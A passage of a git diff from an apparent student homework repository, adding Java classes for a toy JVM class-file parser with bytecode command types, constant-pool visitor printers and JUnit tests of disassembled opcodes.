+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//		
+//	}
+
+	
+	
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/GetStaticFieldCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..a5876317fc
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,25 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//		
+//	}
+
+}
\ No newline at end of file
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/InvokeSpecialCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..38f77637e0
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,27 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//		
+//	}
+
+	
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/InvokeVirtualCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..4eb977e204
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,26 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//	}
+
+	
+	
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/LdcCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..227b3d6477
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/LdcCmd.java
@@ -0,0 +1,35 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.info.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//		
+//	}
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/NewObjectCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..86b76c0a05
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,25 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//		
+//	}
+
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/NoOperandCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..8565eba0c6
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,29 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//		
+//	}
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/OneOperandCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..65de0df3ae
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/PutFieldCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..ac3e4929cb
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,25 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+//	@Override
+//	public void execute(StackFrame frame, ExecutionResult result) {
+//		
+//		
+//	}
+
+
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/TwoOperandCmd.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..8057b9ec45
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.coding.basic.homework_04.jvm.cmd;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.info.ClassInfo;
+import com.coding.basic.homework_04.jvm.info.FieldRefInfo;
+import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantInfo.java
index c7209b72b5..df41a0dc70 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantInfo.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/constant/ConstantInfo.java
@@ -1,8 +1,13 @@
 package com.coding.basic.homework_04.jvm.constant;
 
-import org.omg.CORBA.PRIVATE_MEMBER;
+import com.coding.basic.homework_04.jvm.info.ClassInfo;
+import com.coding.basic.homework_04.jvm.info.FieldRefInfo;
+import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
+import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
+import com.coding.basic.homework_04.jvm.info.StringInfo;
+import com.coding.basic.homework_04.jvm.info.UTF8Info;
 
-public class ConstantInfo {
+public abstract class ConstantInfo {
 
 	public static final int CLASS_INFO = 7;
 	public static final int UTF8_INFO = 1;
@@ -19,5 +24,18 @@ public ConstantInfo(ConstantPool pool) {
 		this.pool = pool;
 	}
 
+	public abstract int getType();
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
 
 }
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/ClassInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/ClassInfo.java
index c30a15f36d..bd202dfb3d 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/ClassInfo.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/ClassInfo.java
@@ -34,6 +34,14 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)pool.getConstantInfo(utf8Index);
 		return utf8Info.getValue();
 	}
+	@Override
+	public int getType() {
+		return tag;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+	}
 	
 	
 	
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/FieldRefInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/FieldRefInfo.java
index d29e5564eb..aa9ad43af1 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/FieldRefInfo.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/FieldRefInfo.java
@@ -30,5 +30,13 @@ public void setNameAndType_index(int nameAndType_index) {
 	public int getTag() {
 		return tag;
 	}
+	@Override
+	public int getType() {
+		return tag;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);
+	}
 	
 }
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/MethodRefInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/MethodRefInfo.java
index 1467cf94d0..bbd3330f69 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/MethodRefInfo.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/MethodRefInfo.java
@@ -31,6 +31,14 @@ public void setNameAndType_index(int nameAndType_index) {
 	public int getTag() {
 		return tag;
 	}
+	@Override
+	public int getType() {
+		return tag;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);
+	}
 	
 	
 	
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NameAndTypeInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NameAndTypeInfo.java
index 49d26d5083..51d2d98ea4 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NameAndTypeInfo.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NameAndTypeInfo.java
@@ -6,8 +6,8 @@
 public class NameAndTypeInfo extends ConstantInfo {
 
 	private int tag = ConstantInfo.NAMEANDTYPE_INFO;
-	private int clz_index;
-	private int descriptor_index;
+	private int index1;
+	private int index2;
 	
 	public NameAndTypeInfo(ConstantPool pool) {
 		super(pool);
@@ -18,22 +18,30 @@ public NameAndTypeInfo() {
 	}
 	
 	
-	public int getClz_index() {
-		return clz_index;
+	public int getIndex1() {
+		return index1;
 	}
-	public void setClz_index(int clz_index) {
-		this.clz_index = clz_index;
+	public void setIndex1(int index1) {
+		this.index1 = index1;
 	}
 	
-	public int getDescriptor_index() {
-		return descriptor_index;
+	public int getIndex2() {
+		return index2;
 	}
-	public void setDescriptor_index(int descriptor_index) {
-		this.descriptor_index = descriptor_index;
+	public void setIndex2(int index2) {
+		this.index2 = index2;
 	}
 	public int getTag() {
 		return tag;
 	}
+	@Override
+	public int getType() {
+		return tag;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+	}
 	
 	
 }
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NullConstantInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NullConstantInfo.java
index 8b44232f31..18c2b1d078 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NullConstantInfo.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/NullConstantInfo.java
@@ -13,4 +13,15 @@ public NullConstantInfo(ConstantPool pool) {
 	public NullConstantInfo() {
 		// TODO Auto-generated constructor stub
 	}
+
+	@Override
+	public int getType() {
+		return -1;
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		
+		
+	}
 }
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/StringInfo.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/StringInfo.java
index 3399821e58..f4228e649f 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/StringInfo.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/StringInfo.java
@@ -22,6 +22,14 @@ public void setString_index(int string_index) {
 	public int getTag() {
 		return tag;
 	}
+	@Override
+	public int getType() {
+		return tag;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+	}
 	
 	
 }
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/UTF8Info.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/UTF8Info.java
index abc51a4c33..45a5ec4f45 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/UTF8Info.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/info/UTF8Info.java
@@ -32,6 +32,14 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	@Override
+	public int getType() {
+		return tag;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+	}
 	
 	
 }
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/loader/ClassFileLoader.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/loader/ClassFileLoader.java
index 6cc1f20181..631fbf0db5 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/loader/ClassFileLoader.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/loader/ClassFileLoader.java
@@ -64,11 +64,7 @@ private byte[] readFile(File file){
 	 * @return
 	 */
 	private String getPath(String path ,String className){
-//		System.out.println(className);
 		String [] ways = className.split("\\.");
-//		for (String string : ways) {
-//			System.out.println(string);
-//		}
 		StringBuilder builder = new StringBuilder();
 		builder.append(path);
 		for (String string : ways) {
@@ -77,7 +73,6 @@ private String getPath(String path ,String className){
 			builder.append(string);
 		}
 		builder.append(".class");
-//		System.out.println(builder.toString());
 		return builder.toString();
 	}
 	
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/method/Method.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/method/Method.java
index 6064cbe7e9..899427c304 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/method/Method.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/method/Method.java
@@ -3,7 +3,7 @@
 import com.coding.basic.homework_04.jvm.attr.AttributeInfo;
 import com.coding.basic.homework_04.jvm.attr.CodeAttr;
 import com.coding.basic.homework_04.jvm.clz.ClassFile;
-import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.cmd.ByteCodeCommand;
 import com.coding.basic.homework_04.jvm.util.ByteCodeIterator;
 
 public class Method {
@@ -69,7 +69,6 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iterator) {
 		int descriptorIndex = iterator.nextU2ToInt();
 		Method method = new Method(accessFlag, nameIndex, descriptorIndex, clzFile);
 		int attributeCount = iterator.nextU2ToInt();
-		System.out.println("attributeCount : "+attributeCount);
 		if(attributeCount > 0){
 			int attrNameIndex = iterator.nextU2ToInt();
 			String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
@@ -83,6 +82,8 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iterator) {
 		return method;
 	}
 
-	
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
 	
 }
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/print/ClassFilePrinter.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..14fcf61930
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,45 @@
+package com.coding.basic.homework_04.jvm.print;
+
+import com.coding.basic.homework_04.jvm.clz.ClassFile;
+import com.coding.basic.homework_04.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "C:\\Users\\yanght\\Documents\\mygit\\coding2017-1\\group06\\1454385822\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coding.basic.homework_04.jvm.test.EmployeeV2";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/print/ConstantPoolPrinter.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..08aaedcfe9
--- /dev/null
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,105 @@
+package com.coding.basic.homework_04.jvm.print;
+
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo;
+import com.coding.basic.homework_04.jvm.constant.ConstantInfo.Visitor;
+import com.coding.basic.homework_04.jvm.constant.ConstantPool;
+import com.coding.basic.homework_04.jvm.info.ClassInfo;
+import com.coding.basic.homework_04.jvm.info.FieldRefInfo;
+import com.coding.basic.homework_04.jvm.info.MethodRefInfo;
+import com.coding.basic.homework_04.jvm.info.NameAndTypeInfo;
+import com.coding.basic.homework_04.jvm.info.StringInfo;
+import com.coding.basic.homework_04.jvm.info.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visitor consoleVisitor = new Visitor() {
+			
+			@Override
+			public void visitString(StringInfo info) {
+				StringBuilder builder = new StringBuilder();
+				int stringIndex = info.getString_index();
+				
+				builder.append("String     #").append(stringIndex)
+				.append("      //" + pool.getUTF8String(stringIndex));
+				
+				System.out.println(builder.toString());
+			}
+			
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				StringBuilder builder = new StringBuilder();
+				int index1 = info.getIndex1();
+				int index2 = info.getIndex2();
+				
+				builder.append("NameAndType   #").append(index1 +":#")
+				.append(index2)
+				.append("    //" + pool.getUTF8String(index1))
+				.append(":" + pool.getUTF8String(index2));
+				
+				System.out.println(builder.toString());
+			}
+			
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				StringBuilder builder = new StringBuilder();
+				int clzIndex = info.getClass_index();
+				int nameAndTypeIndex = info.getNameAndType_index();
+				ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(clzIndex);
+				NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo)pool.getConstantInfo(nameAndTypeIndex);
+				
+				builder.append("MethodRef      #").append(clzIndex+".#")
+				.append(nameAndTypeIndex)
+				.append("    //"+ clzInfo.getClassName())
+				.append("." + pool.getUTF8String(nameAndTypeInfo.getIndex1()) + ":")
+				.append(pool.getUTF8String(nameAndTypeInfo.getIndex2()));
+				
+				System.out.println(builder.toString());
+			}
+			
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				StringBuilder builder = new StringBuilder();
+				int clzIndex = info.getClz_index();
+				int nameAndTypeIndex = info.getNameAndType_index();
+				ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(clzIndex);
+				NameAndTypeInfo nameAndTypeInfo = (NameAndTypeInfo)pool.getConstantInfo(nameAndTypeIndex);
+				
+				builder.append("FieldRef    #").append(clzIndex + ".#")
+				.append(nameAndTypeIndex)
+				.append("    //" + clzInfo.getClassName())
+				.append("." + pool.getUTF8String(nameAndTypeInfo.getIndex1()) + ":")
+				.append(pool.getUTF8String(nameAndTypeInfo.getIndex2()));
+				
+				System.out.println(builder.toString());
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				StringBuilder builder = new StringBuilder();
+				builder.append("Class      #").append(info.getUtf8Index()+"   //")
+				.append(info.getClassName());
+				System.out.println(builder.toString());
+			}
+			
+			@Override
+			public void visistUTF8(UTF8Info info) {
+				StringBuilder builder = new StringBuilder();
+				builder.append("Utf8      ").append(info.getValue());
+				System.out.println(builder.toString());
+			}
+		};
+		
+		for(int i = 1; i <= pool.getSize(); i++){
+			System.out.print("#" + i + " = ");
+			pool.getConstantInfo(i).accept(consoleVisitor);
+		}
+		
+	}
+}
diff --git a/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java b/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
index 26e3ad765b..89c199d990 100644
--- a/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
+++ b/group06/1454385822/src/com/coding/basic/homework_04/jvm/test/ClassFileloaderTest.java
@@ -9,6 +9,10 @@
 
 import com.coding.basic.homework_04.jvm.clz.ClassFile;
 import com.coding.basic.homework_04.jvm.clz.ClassIndex;
+import com.coding.basic.homework_04.jvm.cmd.BiPushCmd;
+import com.coding.basic.homework_04.jvm.cmd.ByteCodeCommand;
+import com.coding.basic.homework_04.jvm.cmd.OneOperandCmd;
+import com.coding.basic.homework_04.jvm.cmd.TwoOperandCmd;
 import com.coding.basic.homework_04.jvm.constant.ConstantPool;
 import com.coding.basic.homework_04.jvm.field.Field;
 import com.coding.basic.homework_04.jvm.info.ClassInfo;
@@ -175,8 +179,8 @@ public void testConstantPool(){
 		
 		{
 			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
-			Assert.assertEquals(9, nameAndType.getClz_index());
-			Assert.assertEquals(14, nameAndType.getDescriptor_index());
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
 		}
 		//抽查几个吧
 		{
@@ -269,11 +273,83 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
     	String methodName = pool.getUTF8String(m.getNameIndex());
 		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
 		String code = m.getCodeAttr().getCode();
-//		System.out.println("code : " + code);
 		Assert.assertEquals(expectedName, methodName);
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
